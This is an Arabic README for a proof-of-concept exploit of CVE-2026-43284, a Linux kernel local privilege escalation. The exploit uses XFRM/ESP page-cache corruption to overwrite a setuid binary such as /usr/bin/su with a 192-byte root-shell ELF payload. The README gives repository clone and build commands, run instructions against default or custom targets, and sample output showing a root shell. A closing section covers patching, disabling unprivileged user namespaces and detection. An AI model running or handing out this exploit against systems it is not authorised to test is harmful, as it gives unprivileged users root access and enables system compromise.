
إثبات المفهوم لـ CVE-2026-43284 — بدائية كتابة بحجم 4 بايت في ذاكرة التخزين المؤقت للصفحات عبر XFRM/ESP لتعديل ثنائي setuid (x86_64، مساحات أسماء المستخدمين). يشمل فحصًا مسبقًا للنواة وفحص SUID.
إثبات المفهوم لتصعيد صلاحيات محلي عبر إتلاف ذاكرة التخزين المؤقت للصفحات في XFRM/ESP
أولية كتابة بأربعة بايتات · 48 تكرارًا · استبدال ELF بحجم 192 بايتًا · مستخدم غير مميز + netns
يسار: فحص النواة المسبق، وفحص setuid، وسلسلة الاستغلال ·
يمين: تم إطلاق قشرة جذر — id / whoami تؤكدان uid=0(root)
تم الاختبار على WSL2 · Ubuntu 24.04.1 LTS · النواة 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
إخلاء مسؤولية: لأغراض البحث الأمني المصرح به والتعليم والاختبار على الأنظمة التي تمتلكها أو لديك إذن صريح لاختبارها فقط. المؤلفون غير مسؤولين عن إساءة الاستخدام.
| CVE | CVE-2026-43284 |
| النوع | تصعيد صلاحيات محلي (LPE) |
| المتجه | إتلاف ذاكرة التخزين المؤقت للصفحات عبر XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) |
| الأولية | 4 بايتات لكل تكرار (ESN seq_hi) |
| الحمولة | ELF بحجم 192 بايتًا لمعمارية x86_64 (setuid(0) + setgid(0) + execve("/bin/sh")) |
| الهدف الافتراضي | /usr/bin/su |
| البنية | x86_64 فقط |
| الصلاحيات المطلوبة | مستخدم غير مميز (يستخدم مساحات أسماء المستخدم والشبكة) |
يعمل حتى عند وضع algif_aead في القائمة السوداء — يستخدم الاستغلال مسار كود XFRM/ESP في النواة مباشرة.
فحوصات ما قبل التشغيل مدمجة قبل الاستغلال:
CONFIG_USER_NS، وCONFIG_XFRM، وCONFIG_INET_ESP/boot/config-* أو /lib/modules/*/config أو /proc/config.gz على WSL2)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # or =y
فحص سريع:
# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc، وlibc، وlibutil (لـ forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
أو يدويًا:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
-O0مقصود — لأن التحسين قد يكسر سلوك splice/UDP الحساس للتوقيت.
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # custom setuid binary
تشغّل الأداة ثلاث مراحل آلية:
| المرحلة | الوظيفة |
|---|---|
| 1 | فحص مسبق لإعدادات النواة (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP) |
| 2 | فحص شامل لثنائيات setuid على النظام؛ يسلط الضوء على الهدف الافتراضي |
| 3 | نسخ الهدف احتياطيًا ← ترقيع ذاكرة التخزين المؤقت للصفحات (48× كتابة بأربعة بايتات) ← إطلاق قشرة جذر |
داخل القشرة التي تم إطلاقها:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
اضغط Ctrl+D أو اكتب exit. يُسقط الـ PoC ذاكرة التخزين المؤقت للصفحات بحيث تتم استعادة الثنائي الأصلي الموجود على القرص تلقائيًا.
إذا فشلت الاستعادة:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| الأمر | الوصف |
|---|---|
./sley-dirtyfrag | استغلال /usr/bin/su (الافتراضي) |
./sley-dirtyfrag /path/to/suid | استغلال ثنائي setuid مخصص |
make | بناء sley-dirtyfrag |
make clean | إزالة الثنائي |
┌─[ phase 1] kernel config preflight
→ /proc/config.gz
[+] CONFIG_USER_NS = y (required =y)
[+] CONFIG_XFRM = y (required =y)
[+] CONFIG_INET_ESP = m (required =m or =y)
kernel options OK.
┌─[ phase 2] setuid binary scan
10 /usr/bin/su ← target
found 14 setuid binaries.
┌─[ phase 3] exploit
[*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
[+] corrupt all iterations done
[+] verify ELF patch detected
╔══════════════════════════════════════╗
║ root shell — exit to restore ║
╚══════════════════════════════════════╝
| أُصلح في | f4c50a4034e6 (النسخة الرئيسية، 8 مايو 2026) |
| أُدخل في | cac2661c53f3 (يناير 2017) |
الإجراء: قم بترقية نواة التوزيعة إلى نسخة تتضمن الإصلاح، أو ابنِ من شجرة رئيسية مرقّعة.
# check your running kernel
uname -r
# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
| الإجراء | التأثير |
|---|---|
| تصحيح / ترقية النواة | يزيل خلل الكتابة الأساسي في ذاكرة التخزين المؤقت للصفحات |
| تقييد مساحات أسماء المستخدمين | يحجب هذا الـ PoC (يتطلب CONFIG_USER_NS) |
| إزالة الثنائيات setuid غير الضرورية | يقلل الأهداف القابلة للاستغلال (chmod u-s، أو إلغاء التثبيت) |
| Lockdown / LSM (SELinux, AppArmor) | قد يحد من تأثير ما بعد الاستغلال اعتمادًا على السياسة |
| مراقبة XFRM + UDP/4500 | كشف تسجيل SA الشاذ وحركة ESP-in-UDP من مساحات أسماء غير مميزة |
يعتمد هذا الاستغلال على unshare(CLONE_NEWUSER | CLONE_NEWNET) بدون صلاحيات الجذر.
# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0
# or disable at build time
# CONFIG_USER_NS is not set
ملاحظة: تعطيل مساحات أسماء المستخدمين يحجب هذا الـ PoC ولكن ليس بالضرورة CVE-2026-43500 (نسخة rxrpc للأنظمة التي لا تحتوي على userns).
find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need
إذا كنت تعتقد أن ثنائي setuid تم ترقيعه في الذاكرة:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash